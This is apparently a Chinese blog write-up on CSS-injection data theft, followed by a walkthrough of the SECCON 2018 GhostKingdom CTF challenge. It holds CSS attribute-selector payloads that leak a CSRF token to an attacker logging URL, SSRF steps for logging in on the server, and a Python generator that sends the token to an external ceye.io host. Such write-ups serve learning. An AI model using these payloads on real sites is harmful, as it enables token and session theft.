<style><?php echo htmlspecialchars($_GET['x']);?></style>
<br><br><br><br>
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
<input type="hidden" name="csrf" value="afanti">
</form>

payload:

input[value^='a'] { background-image: url(http://localhost/css-improved/attacker/log.php/a); }
input[value^='ab'] { background-image: url(http://localhost/css-improved/attacker/log.php/ab); }
input[value^='abc'] { background-image: url(http://localhost/css-improved/attacker/log.php/abc); }

input[name="csrf"][value^="afanta"] {
background: url(http://localhost/css-improved/attacker/log.php/afanta);
}
input[name="csrf"][value^="afantb"] {
background: url(http://localhost/css-improved/attacker/log.php/afantb);
}
input[name='csrf'][value^='afanti'] {
background: url(http://localhost/css-improved/attacker/log.php/afanti);
}

当获取的参数正确时,会发送一个get请求。

实例 css注入+ssrf:

第一个选项卡存在css注入

当发送数据的时候会发送如下数据包

http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111111111&action=msgadm2

c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9解码span{background-color:red;color:yellow}在这里可以注入css

第二个选项卡存在ssrf

第三个选项卡提示需要本地网络才能使用,尝试发现通过 X-Forwarded-For 等 header 无效,说明需要ssrf结合css注入来模拟本地登陆。

  1. 通过 SSRF 访问 http://0.0.0.0/?user=密码&pass=账号&action=login 在服务端登录
  2. 通过 SSRF 访问 http://0.0.0.0/?css=payload&action=msgadm2 触发 XSS,逐个字节爆破你的 cookie
  3. 替换cookie就能upload image了

成功登陆

通过如下脚本生成Payload实现css注入

import base64
CHARLIST = "" + "abcdef"
URL = "http://0/?msg=master&action=msgadm2&css="
#
known = ""
buf = ""
for char in CHARLIST:
buf += """input[name="csrf"][value^="{}"] {{
background: url(http://11.on1sw1.ceye.io/{});
}}""".format(known+char,known+char)
print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))

当注入成功就会将csrf的vlaue发到ceye上,将cookie替换就能有upload image功能。

参考链接

https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html

http://zeroyu.xyz/2018/10/29/SECCON-2018-Qualis-GhostKingdom/

https://xz.aliyun.com/t/3075

https://html5sec.org/cssession/

css注入获取网页中的数据的更多相关文章

  1. 使用 CSS 选择器从网页中提取数据

    在 R 中,关于网络爬虫最简单易用的扩展包是 rvest.运行以下代码从 CRAN 上安装:install.packages("rvest")首先,加载包并用 read_html( ...

  2. 使用jquery获取网页中图片的高度——解惑

    jQuery获取网页中图片的高度 使用jquery获取网页中图片的高度其实很简单,有两种常用的方法都可以打到我们的目的 $("img").whith();(返回纯数字) $(&qu ...

  3. 使用selenium的方式获取网页中图片的链接和网页的链接,来判断是否是死链(二)

    上一篇使用Java正则表达式来判断和获取图片的链接以及跳转的网址,这篇使用selenium的自带的API(getAttribute)来获取网页中指定的内容 实现内容:获取下面所有图片的链接地址以及跳转 ...

  4. Springboot中使用自定义参数注解获取 token 中用户数据

    使用自定义参数注解获取 token 中User数据 使用背景 在springboot项目开发中需要从token中获取用户信息时通常的方式要经历几个步骤 拦截器中截获token TokenUtil工具类 ...

  5. php获取网页中图片并保存到本地

    php获取网页中图片并保存到本地的代码,将网页中图片保存本地文件夹: save_img("http://www.jbxue.com" ?>

  6. 通过CSS让html网页中的内容不可选

    *{ moz-user-select: -moz-none; -moz-user-select: none; -o-user-select:none; -khtml-user-select:none; ...

  7. php获取网页中图片并保存到本地的代码

    php获取网页中图片并保存到本地的代码,将网页中图片保存本地文件夹: <?php /** * 获取网页中图片,并保存至本地 * by www.jbxue.com */ header(" ...

  8. php获取数组中重复数据的两种方法

    分享下php获取数组中重复数据的两种方法. 1,利用php提供的函数,array_unique和array_diff_assoc来实现 <?php function FetchRepeatMem ...

  9. Web网页中动态数据区域的识别与抽取 Dynamical Data Regions Identification and Extraction in Web Pages

    Web网页中动态数据区域的识别与抽取 Dynamical Data Regions Identification and Extraction in Web Pages Web网页中动态数据区域的识别 ...

随机推荐

  1. IO流的复习笔记

    IO字节流和缓冲流 IO字节流的读取和写入 读取 import java.io.FileInputStream; import java.io.FileNotFoundException; impor ...

  2. JAVA基础之——数据结构

    JAVA数据结构有8种,如下所示,本文从使用场景,优缺点方面讲解. 1 数组Array ArrayList 使用场景:有序的存储同一类型数据的集合,固定大小 优点:通过索引查找方便 缺点:插入或删除一 ...

  3. linux端口开放

      netstat 查看端口开放情况: netstat 命令用于显示各种网络相关信息,如网络连接,路由表,接口状态 (Interface Statistics),masquerade 连接,多播成员 ...

  4. vs2015 xamarin 添加智能感知

    下载 由于未安装 Xamarin Studio, 不存在android-layout-xml.xsd . schemas.android.com.apk.res.android.xsd 文件. 所以在 ...

  5. JavaScript周报#185

    This week’s JavaScript news Read this issue on the Web | Issue Archive JavaScript Weekly Issue 185Ju ...

  6. react项目 路径优化

  7. 国内外有名的java论坛

     国内: www.chinajavaworld.com-论坛人很多,高手也多,不过好像都在潜水      www.cn-java.com -也很不错,文章很好,但是就是商业性浓了点.      www ...

  8. ant-design里为了清空Modal中的值, modal 中值有缓存 ....

    处理列表中的编辑功能,发现有点爽,看的都是上次编辑后内容, 搜文档 也没说具体怎么清空旧的状态 网上搜了下,说给 moal 设置一个不同的key 试了,用这方式可以解决问题,  只要这个key是全新的 ...

  9. LintCode2016年8月8日算法比赛----子树

    子树 题目描述 有两个不同大小的二叉树:T1有上百万的节点:T2有好几百的节点.请设计一种算法,判定T2是否为T1的子树. 注意事项 若 T1 中存在从节点 n 开始的子树与 T2 相同,我们称 T2 ...

  10. Event percentages解析

    Event percentages: 0:--pct-touch//touch events percentage触摸事件百分比(触摸事件是一个在屏幕单一位置的按下-抬起事件) 1:--pct-mot ...